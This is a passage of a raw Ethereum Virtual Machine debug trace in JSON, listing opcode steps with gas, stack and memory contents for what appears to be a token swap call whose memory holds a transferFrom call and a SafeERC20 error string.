8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3305,"op":"LT","gas":9211,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3306,"op":"PUSH2","gas":9208,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3309,"op":"JUMPI","gas":9205,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x1","0xcf5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3317,"op":"JUMPDEST","gas":9195,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3318,"op":"PUSH1","gas":9194,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3320,"op":"MUL","gas":9191,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3321,"op":"PUSH1","gas":9186,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3323,"op":"ADD","gas":9183,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3324,"op":"ADD","gas":9180,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3325,"op":"MLOAD","gas":9177,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3326,"op":"PUSH2","gas":9174,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":3329,"op":"JUMP","gas":9171,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b","0x2dbb"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf42e1a7d4d000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":22700},{"pc":11707,"op":"JUMPDEST","gas":9163,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xd02","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9